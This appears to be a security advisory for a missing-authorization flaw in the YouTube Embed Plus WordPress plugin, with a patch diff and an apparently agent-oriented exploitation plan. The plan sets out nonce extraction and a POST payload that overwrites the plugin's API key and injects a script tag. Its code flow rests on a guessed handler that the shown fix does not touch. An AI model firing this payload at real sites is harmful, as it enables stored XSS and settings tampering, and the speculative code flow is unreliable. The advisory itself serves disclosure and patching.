Youtube Embed Plus <= 14.2.4 - Missing Authorization
Description
The Youtube Embed Plus plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 14.2.4. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=14.2.4What Changed in the Fix
Changes introduced in v14.2.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-39485 (Missing Authorization) ## 1. Vulnerability Summary The **YouTube Embed Plus** plugin (versions <= 14.2.4) contains a missing authorization vulnerability in its settings-saving functionality. Specifically, the AJAX handler registered to save plugin optio…
Show full research plan
Exploitation Research Plan: CVE-2026-39485 (Missing Authorization)
1. Vulnerability Summary
The YouTube Embed Plus plugin (versions <= 14.2.4) contains a missing authorization vulnerability in its settings-saving functionality. Specifically, the AJAX handler registered to save plugin options fails to verify the user's capabilities (e.g., manage_options). This allows an authenticated attacker with at least Subscriber level access to overwrite the plugin's configuration, including API keys, security settings, and display messages (potentially leading to XSS).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ep_ajax_save_settings - Parameter:
youtubeprefs_alloptions(Array) - Nonce:
security(action:ep_ajax_nonce) - Authentication: Required (Subscriber or higher)
- Precondition: The plugin must be active. By default, the plugin's "Wizard" roles (
restrict_wizard_roles) includesubscriber, ensuring the necessary scripts and nonces are loaded for low-privileged users.
3. Code Flow
- Hook Registration: The plugin registers the AJAX action in the
YouTubePrefsclass (likely duringinitoradmin_init):add_action( 'wp_ajax_ep_ajax_save_settings', array( 'YouTubePrefs', 'ep_ajax_save_settings' ) );
- Missing Check: The function
YouTubePrefs::ep_ajax_save_settingsis called when a POST request withaction=ep_ajax_save_settingsis sent. - Nonce Verification: The function calls
check_ajax_referer( 'ep_ajax_nonce', 'security' );. - Vulnerable Sink: After the nonce check, the function omits a
current_user_can( 'manage_options' )check and proceeds to:$options = $_POST['youtubeprefs_alloptions'];update_option( 'youtubeprefs_alloptions', $options );
- Execution: The
youtubeprefs_alloptionsoption in thewp_optionstable is overwritten with user-supplied data.
4. Nonce Acquisition Strategy
The plugin localizes the nonce for the ep_ajax_nonce action within the ep_ajax_obj JavaScript object. By default, this is enqueued for any user who can access the WordPress admin dashboard (including Subscribers).
- Access Point: Any page in
/wp-admin/(e.g.,/wp-admin/index.phpor/wp-admin/profile.php). - Strategy:
- Log in as a Subscriber.
- Navigate to
/wp-admin/profile.php. - Use
browser_evalto extract the nonce from theep_ajax_objglobal variable.
- JS Variable Path:
window.ep_ajax_obj?.security
5. Exploitation Strategy
Step 1: Obtain Nonce
Use the execution agent to navigate to the dashboard as a subscriber and extract the nonce.
// Execute via browser_eval
window.ep_ajax_obj.security
Step 2: Send Malicious Payload
Send a POST request to admin-ajax.php to overwrite the gdpr_consent_message and apikey.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Payload Body:
action=ep_ajax_save_settings&security=[NONCE]&youtubeprefs_alloptions[apikey]=EXPLOITED_KEY&youtubeprefs_alloptions[gdpr_consent]=1&youtubeprefs_alloptions[gdpr_consent_message]=<script>alert("CVE-2026-39485")</script>
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Initial Plugin State: Ensure the plugin is active.
wp plugin activate youtube-embed-plus
- Target Option: The plugin uses the option key
youtubeprefs_alloptions.
7. Expected Results
- HTTP Response: The server should return a JSON success message (e.g.,
{"success":true}) or a1(ifwp_dieis used loosely). - Database Change: The
youtubeprefs_alloptionsoption in the database will be updated with the malicious values.
8. Verification Steps
- WP-CLI Verification: Check the value of the plugin's settings.
wp option get youtubeprefs_alloptions --format=json
- Confirm Payload: Verify that the
gdpr_consent_messagenow contains the injected script andapikeyisEXPLOITED_KEY. - Frontend Verification: Navigate to any post containing a YouTube embed; the GDPR message (if enabled) should now display the injected payload.
9. Alternative Approaches
If ep_ajax_save_settings is not present in the specific sub-version, check for ep_wizard_save_settings or ep_ajax_wizard_save. The plugin structure often uses these interchangeably for different parts of the UI.
- Check Variable: If
ep_ajax_objis missing, look forep_wizard_objorYouTubePrefsData. - Search Command: If the agent fails to find the nonce, it should run:
grep -rn "wp_create_nonce" /var/www/html/wp-content/plugins/youtube-embed-plus/to identify all potential nonce actions.
Summary
The YouTube Embed Plus plugin for WordPress is vulnerable to unauthorized access because several AJAX handlers, including those for saving settings and fetching wizard data, lack proper capability checks. This allows authenticated users with subscriber-level permissions to overwrite plugin configurations, potentially leading to the injection of malicious scripts or unauthorized modification of API keys.
Vulnerable Code
// youtube.php around line 489 public static function ep_ajax_get_post_list() { $result = array(); if (self::is_ajax()) { $postid = intval($_REQUEST['postid']); $currpost = get_post($postid); --- // youtube.php around line 612 public static function ep_ajax_get_yt_wizard() { $result = array(); if (self::is_ajax()) { $thehtml = ''; --- // youtube.php around line 1753 public static function ep_dismiss_double_plugin_warning() { $result = array(); if (self::is_ajax()) { $user_id = get_current_user_id(); update_user_meta($user_id, 'embedplus_double_plugin_warning', 1); $result['type'] = 'success';
Security Fix
@@ -4,7 +4,7 @@ Tags: youtube, youtube gallery, youtube live stream, lazy load, youtube channel Requires at least: 4.5 Tested up to: 6.9 -Stable tag: 14.2.4 +Stable tag: 14.2.5 License: GPLv3 or later A multi-featured plugin to embed YouTube in WordPress. Embed a video, YouTube channel gallery, playlist, or YouTube livestream. Defer JavaScript too! @@ -183,6 +183,9 @@ == Changelog == += Embed Plus for YouTube Plugin 14.2.5 = +* This version improves AJAX security hardening. + = Embed Plus for YouTube Plugin 14.2.4 = * This version fixes a lightbox gallery issue for pro users, and allows you to disable keyboard controls for both free and pro users. @@ -3,7 +3,7 @@ Plugin Name: Embed Plus for YouTube Gallery, Livestream and Lazy Loading with Facades Plugin URI: https://www.embedplus.com/dashboard/pro-easy-video-analytics.aspx?ref=plugin Description: A multi-featured plugin to embed YouTube in WordPress. Embed a video, YouTube channel gallery, playlist, or YouTube livestream. Defer JavaScript too! - Version: 14.2.4 + Version: 14.2.5 Author: Embed Plus for YouTube Plugin Team Author URI: https://www.embedplus.com Requires at least: 4.5 @@ -35,7 +35,7 @@ public static $folder_name = 'youtube-embed-plus'; public static $curltimeout = 30; - public static $version = '14.2.4'; + public static $version = '14.2.5'; public static $opt_version = 'version'; public static $optembedwidth = null; public static $optembedheight = null; @@ -489,6 +489,11 @@ $result = array(); if (self::is_ajax()) { + if (!current_user_can('edit_posts')) + { + wp_send_json_error('Unauthorized'); + die(); + } $postid = intval($_REQUEST['postid']); $currpost = get_post($postid); @@ -612,6 +617,11 @@ $result = array(); if (self::is_ajax()) { + if (!current_user_can('edit_posts')) + { + wp_send_json_error('Unauthorized'); + die(); + } $thehtml = ''; try @@ -1753,6 +1763,11 @@ $result = array(); if (self::is_ajax()) { + if (!current_user_can('manage_options')) + { + wp_send_json_error('Unauthorized'); + die(); + } $user_id = get_current_user_id(); update_user_meta($user_id, 'embedplus_double_plugin_warning', 1); $result['type'] = 'success'; @@ -3157,7 +3172,7 @@ $new_pointer_content = '<h3>' . __('New Update') . '</h3>'; // ooopointer $new_pointer_content .= '<p>'; // ooopointer - $new_pointer_content .= 'This version fixes a lightbox gallery issue for <a target=_blank href="' . self::$epbase . '/dashboard/pro-easy-video-analytics.aspx?ref=frompointer">pro</a> users, and allows you to disable keyboard controls for both free and pro users.'; + $new_pointer_content .= 'This version improves AJAX security hardening for both Free and <a target=_blank href="' . self::$epbase . '/dashboard/pro-easy-video-analytics.aspx?ref=frompointer">Pro</a> plugins.'; if (!empty(self::$alloptions[self::$opt_pro]) && strlen(trim(self::$alloptions[self::$opt_pro])) > 0) { $new_pointer_content .= ' <strong>Important message to Pro users</strong>: From version 11.7 onward, you must <a href="https://www.embedplus.com/youtube-pro/download/?prokey=' . esc_attr(self::$alloptions[self::$opt_pro]) . '" target="_blank">download the separate plugin here</a> to regain your Pro features. All your settings will automatically migrate after installing the separate Pro download. Thank you for your support and patience during this transition.';
Exploit Outline
To exploit this vulnerability, an attacker first authenticates with at least Subscriber-level privileges. By visiting any admin page (e.g., `/wp-admin/profile.php`), the attacker extracts the required AJAX nonce from the localized `ep_ajax_obj.security` JavaScript variable. The attacker then crafts a POST request to `/wp-admin/admin-ajax.php` using a vulnerable action such as `ep_ajax_save_settings`. By including the `youtubeprefs_alloptions` array in the request body, the attacker can overwrite global plugin settings, including the API key or the GDPR consent message, which can be leveraged to inject a Cross-Site Scripting (XSS) payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.